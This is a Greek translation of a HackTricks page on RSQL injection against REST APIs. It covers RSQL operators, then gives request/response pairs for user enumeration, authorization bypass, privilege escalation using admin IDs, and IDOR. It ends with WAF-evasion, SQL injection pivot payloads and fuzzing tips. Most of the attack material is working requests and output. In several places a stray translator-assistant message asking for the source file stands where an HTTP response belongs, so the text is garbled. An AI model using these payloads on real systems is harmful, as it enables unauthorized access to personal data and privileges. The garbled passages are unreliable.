RSQL Injection
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τι είναι το RSQL;
Το RSQL είναι μια γλώσσα ερωτημάτων σχεδιασμένη για παραμετροποιημένο φιλτράρισμα εισόδων σε RESTful APIs. Βασισμένο στο FIQL (Feed Item Query Language), που πρωτοορίστηκε από τον Mark Nottingham για ερωτήματα σε Atom feeds, το RSQL ξεχωρίζει για την απλότητά του και την ικανότητά του να εκφράζει σύνθετα ερωτήματα με συμπαγή και URI-compliant μορφή πάνω από HTTP. Αυτό το καθιστά εξαιρετική επιλογή ως γενική γλώσσα ερωτημάτων για την αναζήτηση σε REST endpoints.
Επισκόπηση
Το RSQL Injection είναι μια ευπάθεια σε web εφαρμογές που χρησιμοποιούν RSQL ως γλώσσα ερωτημάτων σε RESTful APIs. Παρόμοια με SQL Injection και LDAP Injection, αυτή η ευπάθεια συμβαίνει όταν τα φίλτρα RSQL δεν καθαρίζονται σωστά, επιτρέποντας σε έναν attacker να εισάγει κακόβουλα ερωτήματα για να έχει πρόσβαση, να τροποποιήσει ή να διαγράψει δεδομένα χωρίς εξουσιοδότηση.
Πώς λειτουργεί;
Το RSQL επιτρέπει τη δημιουργία προηγμένων ερωτημάτων σε RESTful APIs, για παράδειγμα:
/products?filter=price>100;category==electronics
Αυτό μεταφράζεται σε ένα δομημένο ερώτημα που φιλτράρει προϊόντα με τιμή μεγαλύτερη από 100 και κατηγορία “ηλεκτρονικά”.
Εάν η εφαρμογή δεν επικυρώνει σωστά τα δεδομένα εισόδου του χρήστη, ένας επιτιθέμενος θα μπορούσε να παραποιήσει το φίλτρο ώστε να εκτελέσει απροσδόκητα ερωτήματα, όπως:
/products?filter=id=in=(1,2,3);delete_all==true
Ή ακόμη και να το εκμεταλλευτείτε για να εξάγετε ευαίσθητες πληροφορίες με Boolean ερωτήματα ή εμφωλευμένες υποερωτήσεις.
Κίνδυνοι
- Έκθεση ευαίσθητων δεδομένων: Ένας επιτιθέμενος μπορεί να ανακτήσει πληροφορίες που δεν θα έπρεπε να είναι προσβάσιμες.
- Τροποποίηση ή διαγραφή δεδομένων: Injection φίλτρων που αλλάζουν εγγραφές στη βάση δεδομένων.
- Αναβάθμιση προνομίων: Χειρισμός αναγνωριστικών που χορηγούν ρόλους μέσω φίλτρων για να ξεγελάσουν την εφαρμογή και να αποκτήσουν πρόσβαση με προνόμια άλλων χρηστών.
- Παράκαμψη ελέγχων πρόσβασης: Χειρισμός φίλτρων για πρόσβαση σε περιορισμένα δεδομένα.
- Προσποίηση ή IDOR: Τροποποίηση αναγνωριστικών μεταξύ χρηστών μέσω φίλτρων που επιτρέπουν πρόσβαση σε πληροφορίες και πόρους άλλων χρηστών χωρίς σωστή πιστοποίηση.
Υποστηριζόμενοι τελεστές RSQL
| Operator | Description | Example |
|---|---|---|
; / and | Λογικός τελεστής AND. Φιλτράρει γραμμές όπου και οι δύο συνθήκες είναι αληθείς | /api/v2/myTable?q=columnA==valueA;columnB==valueB |
, / or | Λογικός τελεστής OR. Φιλτράρει γραμμές όπου τουλάχιστον μία συνθήκη είναι αληθής | /api/v2/myTable?q=columnA==valueA,columnB==valueB |
== | Εκτελεί ερώτημα ισότητας. Επιστρέφει όλες τις γραμμές από myTable όπου οι τιμές στη στήλη columnA ισούνται ακριβώς με το queryValue | /api/v2/myTable?q=columnA==queryValue |
=q= | Εκτελεί ερώτημα αναζήτησης. Επιστρέφει όλες τις γραμμές από myTable όπου οι τιμές στη στήλη columnA περιέχουν το queryValue | /api/v2/myTable?q=columnA=q=queryValue |
=like= | Εκτελεί ερώτημα τύπου like. Επιστρέφει όλες τις γραμμές από myTable όπου οι τιμές στη στήλη columnA μοιάζουν με το queryValue | /api/v2/myTable?q=columnA=like=queryValue |
=in= | Εκτελεί ερώτημα in. Επιστρέφει όλες τις γραμμές από myTable όπου το columnA περιέχει valueA Η valueB | /api/v2/myTable?q=columnA=in=(valueA, valueB) |
=out= | Εκτελεί ερώτημα exclude. Επιστρέφει όλες τις γραμμές από myTable όπου οι τιμές στο columnA δεν είναι ούτε valueA ούτε valueB | /api/v2/myTable?q=columnA=out=(valueA,valueB) |
!= | Εκτελεί ερώτημα not equals. Επιστρέφει όλες τις γραμμές από myTable όπου οι τιμές στο columnA δεν ισούνται με το queryValue | /api/v2/myTable?q=columnA!=queryValue |
=notlike= | Εκτελεί ερώτημα not like. Επιστρέφει όλες τις γραμμές από myTable όπου οι τιμές στο columnA δεν μοιάζουν με το queryValue | /api/v2/myTable?q=columnA=notlike=queryValue |
< & =lt= | Εκτελεί ερώτημα μικρότερο του. Επιστρέφει όλες τις γραμμές από myTable όπου οι τιμές στο columnA είναι μικρότερες από το queryValue | /api/v2/myTable?q=columnA<queryValue /api/v2/myTable?q=columnA=lt=queryValue |
=le= & <= | Εκτελεί ερώτημα μικρότερο ή ίσο. Επιστρέφει όλες τις γραμμές από myTable όπου οι τιμές στο columnA είναι μικρότερες ή ίσες με το queryValue | /api/v2/myTable?q=columnA<=queryValue /api/v2/myTable?q=columnA=le=queryValue |
> & =gt= | Εκτελεί ερώτημα μεγαλύτερο του. Επιστρέφει όλες τις γραμμές από myTable όπου οι τιμές στο columnA είναι μεγαλύτερες από το queryValue | /api/v2/myTable?q=columnA>queryValue /api/v2/myTable?q=columnA=gt=queryValue |
>= & =ge= | Εκτελεί ερώτημα ίσο ή μεγαλύτερο του. Επιστρέφει όλες τις γραμμές από myTable όπου οι τιμές στο columnA είναι ίσες ή μεγαλύτερες από το queryValue | /api/v2/myTable?q=columnA>=queryValue /api/v2/myTable?q=columnA=ge=queryValue |
=rng= | Εκτελεί ερώτημα από-έως. Επιστρέφει όλες τις γραμμές από myTable όπου οι τιμές στο columnA είναι ίσες ή μεγαλύτερες από το fromValue, και μικρότερες ή ίσες από το toValue | /api/v2/myTable?q=columnA=rng=(fromValue,toValue) |
Note: Table based on information from MOLGENIS and rsql-parser applications.
Παραδείγματα
- name==“Kill Bill”;year=gt=2003
- name==“Kill Bill” and year>2003
- genres=in=(sci-fi,action);(director==‘Christopher Nolan’,actor==*Bale);year=ge=2000
- genres=in=(sci-fi,action) and (director==‘Christopher Nolan’ or actor==*Bale) and year>=2000
- director.lastName==Nolan;year=ge=2000;year=lt=2010
- director.lastName==Nolan and year>=2000 and year<2010
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
Note: Table based on information from rsql-parser application.
Συνήθη φίλτρα
Αυτά τα φίλτρα βοηθούν στη βελτίωση των ερωτημάτων σε APIs:
| Filter | Description | Example |
|---|---|---|
filter[users] | Φιλτράρει αποτελέσματα κατά συγκεκριμένους χρήστες | /api/v2/myTable?filter[users]=123 |
filter[status] | Φιλτράρει κατά κατάσταση (active/inactive, completed, etc.) | /api/v2/orders?filter[status]=active |
filter[date] | Φιλτράρει αποτελέσματα εντός εύρους ημερομηνιών | /api/v2/logs?filter[date]=gte:2024-01-01 |
filter[category] | Φιλτράρει κατά κατηγορία ή τύπο πόρου | /api/v2/products?filter[category]=electronics |
filter[id] | Φιλτράρει κατά μοναδικό αναγνωριστικό | /api/v2/posts?filter[id]=42 |
Συνήθεις παράμετροι
Αυτές οι παράμετροι βοηθούν στη βελτιστοποίηση των απαντήσεων API:
| Parameter | Description | Example |
|---|---|---|
include | Συμπεριλαμβάνει συσχετιζόμενους πόρους στην απάντηση | /api/v2/orders?include=customer,items |
sort | Ταξινομεί τα αποτελέσματα σε αύξουσα ή φθίνουσα σειρά | /api/v2/users?sort=-created_at |
page[size] | Ελέγχει τον αριθμό αποτελεσμάτων ανά σελίδα | /api/v2/products?page[size]=10 |
page[number] | Καθορίζει τον αριθμό σελίδας | /api/v2/products?page[number]=2 |
fields[resource] | Ορίζει ποια πεδία να επιστραφούν στην απάντηση | /api/v2/users?fields[users]=id,name,email |
search | Εκτελεί πιο ευέλικτη αναζήτηση | /api/v2/posts?search=technology |
Διαρροή πληροφοριών και καταμέτρηση χρηστών
Το ακόλουθο αίτημα δείχνει ένα registration endpoint που απαιτεί την παράμετρο email για να ελέγξει αν υπάρχει χρήστης καταχωρημένος με αυτό το email και να επιστρέψει true ή false ανάλογα με το αν υπάρχει ή όχι στη βάση δεδομένων:
Αίτημα
GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Response
HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85
{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}
Αν και αναμένεται το /api/registrations?email=<emailAccount>, είναι δυνατό να χρησιμοποιηθούν φίλτρα RSQL για να επιχειρηθεί η απαρίθμηση και/ή εξαγωγή πληροφοριών χρηστών μέσω ειδικών τελεστών:
Αίτημα
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Απόκριση
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"attributes": {
"tenants": []
}
}
}
Σε περίπτωση που ταιριάζει με έγκυρο λογαριασμό email, η εφαρμογή θα επέστρεφε τις πληροφορίες του χρήστη αντί του κλασικού “true”, “1” ή οτιδήποτε άλλο στην απάντηση προς τον server:
Request
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Δεν έχετε παραθέσει το περιεχόμενο του αρχείου. Παρακαλώ επικολλήστε εδώ το περιεχόμενο του src/pentesting-web/rsql-injection.md που θέλετε να μεταφράσω — θα διατηρήσω άθικτα κώδικα, tags, links, paths και ονόματα τεχνικών/πλατφορμών.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}
Authorization evasion
Σε αυτό το σενάριο, ξεκινάμε από έναν χρήστη με βασικό ρόλο και στον οποίο δεν έχουμε προνομιακά δικαιώματα (π.χ. διαχειριστής) για πρόσβαση στη λίστα όλων των χρηστών που είναι καταχωρημένοι στη βάση δεδομένων:
Request
GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Παρακαλώ επικολλήστε το περιεχόμενο του αρχείου src/pentesting-web/rsql-injection.md που θέλετε να μεταφραστεί στα Ελληνικά.
HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Για άλλη μια φορά χρησιμοποιούμε τα filters και τους special operators που θα μας επιτρέψουν έναν εναλλακτικό τρόπο να αποκτήσουμε τις πληροφορίες των users και να παρακάμψουμε τον έλεγχο πρόσβασης. Για παράδειγμα, φιλτράρετε όσους users περιέχουν το γράμμα “a” στο user ID τους:
Αίτημα
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Please provide the content of src/pentesting-web/rsql-injection.md that you want translated to Greek.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................
Privilege Escalation
Είναι πολύ πιθανό να βρεθούν ορισμένα endpoints που ελέγχουν τα privileges των χρηστών μέσω του ρόλου τους. Για παράδειγμα, έχουμε να κάνουμε με έναν χρήστη που δεν έχει privileges:
Αίτημα
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Απάντηση
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": []
}
Χρησιμοποιώντας ορισμένους τελεστές θα μπορούσαμε να απαριθμήσουμε τους χρήστες διαχειριστή:
Αίτημα
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
I don’t see the content of src/pentesting-web/rsql-injection.md. Please paste the markdown (or the portion you want translated). I will translate the English text to Greek and will not translate code, tags, links, refs, paths, or hacking technique names as you requested.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}
Αφού γνωρίζετε το αναγνωριστικό ενός χρήστη διαχειριστή, θα ήταν δυνατό να εκμεταλλευτείτε μια privilege escalation αντικαθιστώντας ή προσθέτοντας το αντίστοιχο φίλτρο με το αναγνωριστικό του διαχειριστή και αποκτώντας τα ίδια προνόμια:
Αίτημα
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Απόκριση
HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
....
}]
}
}
Impersonate or Insecure Direct Object References (IDOR)
Επιπλέον της χρήσης της παραμέτρου filter, είναι δυνατό να χρησιμοποιηθούν και άλλες παράμετροι όπως η include, η οποία επιτρέπει τη συμπερίληψη στο αποτέλεσμα ορισμένων πεδίων (π.χ. γλώσσα, χώρα, password…).
Στο παρακάτω παράδειγμα εμφανίζονται οι πληροφορίες του προφίλ του χρήστη μας:
Request
GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Δεν παρείχατε το περιεχόμενο του αρχείου. Παρακαλώ επικολλήστε εδώ το κείμενο από src/pentesting-web/rsql-injection.md που θέλετε να μεταφράσω — θα διατηρήσω ανέπαφα code, τεχνικούς όρους (π.χ. RSQL), links, paths και όλα τα markdown/HTML tags όπως ζητήθηκε.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}
Ο συνδυασμός των φίλτρων μπορεί να χρησιμοποιηθεί για να παρακαμφθεί ο έλεγχος εξουσιοδότησης και να αποκτηθεί πρόσβαση στα προφίλ άλλων χρηστών:
Αίτημα
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ...
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Δεν παρέχετε το περιεχόμενο του αρχείου src/pentesting-web/rsql-injection.md. Παρακαλώ επικολλήστε το κείμενο που θέλετε να μεταφράσω — θα κρατήσω ανέπαφη τη σύνταξη Markdown/HTML, τις διαδρομές, τους συνδέσμους και τις ετικέτες.
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}
Εντοπισμός & fuzzing — γρήγορα κέρδη
- Ελέγξτε για υποστήριξη RSQL στέλνοντας αβλαβείς probes όπως
?filter=id==test,?q==testή κακοσχηματισμένους operators=foo=· verbose APIs συχνά leak parser errors (“Unknown operator” / “Unknown property”). - Πολλές υλοποιήσεις κάνουν double-parse τις URL παραμέτρους· δοκιμάστε double-encoding για
(,),*,;(π.χ.,%2528admin%2529) για να παρακάμψετε naive blocklists και WAFs. - Boolean exfil with wildcards:
filter[users]=email==*%@example.com;status==ACTIVEκαι αντιστρέψτε τη λογική με,(OR) για να συγκρίνετε τα μεγέθη των αποκρίσεων. - Range/proximity leaks:
filter[users]=createdAt=rng=(2024-01-01,2025-01-01)επιτρέπει γρήγορη καταμέτρηση κατά έτος χωρίς να γνωρίζετε τα ακριβή IDs.
Κατάχρηση σε συγκεκριμένα frameworks (Elide / JPA Specification / JSON:API)
- Το Elide και πολλά έργα Spring Data REST μεταφράζουν το RSQL απευθείας σε JPA Criteria. Όταν οι developers προσθέτουν custom operators (π.χ.
=ilike=) και κατασκευάζουν predicates μέσω string concatenation αντί για prepared parameters, μπορείτε να pivot-άρετε σε SQLi (κλασικό payload:name=ilike='%%' OR 1=1--'). - Το Elide analytic data store δέχεται parameterized columns· ο συνδυασμός user-controlled analytic params με RSQL filters ήταν η βασική αιτία του SQLi στο CVE-2022-24827. Ακόμη κι αν patched versions parameterize σωστά, παρόμοιος bespoke κώδικας συχνά παραμένει — ψάξτε για
@JoinFilter/@ReadPermissionSpEL εκφράσεις που περιέχουν${}και δοκιμάστε injection όπως';sleep(5);'ή λογικές ταυτολογίες. - Τα backends JSON:API συνήθως εκθέτουν τόσο
includeόσο καιfilter. Το φιλτάρισμα σε σχετιζόμενους πόρουςfilter[orders]=customer.email==*admin*μπορεί να παρακάμψει top-level ACLs επειδή τα relation-level filters εκτελούνται πριν τους ownership checks.
Βοηθήματα αυτοματοποίησης
- rsql-parser CLI (Java):
java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"επικυρώνει payloads τοπικά και εμφανίζει το abstract syntax tree — χρήσιμο για να κατασκευάσετε ισορροπημένες παρενθέσεις και custom operators. - Python quick builder:
from pyrsql import RSQL
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
print(str(payload))
- Συνδυάστε με HTTP fuzzer (ffuf, turbo-intruder) επαναλαμβάνοντας τις θέσεις wildcard
*a*,*e*, κ.λπ., μέσα σε λίστες=in=για να απαριθμήσετε γρήγορα IDs και emails.
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


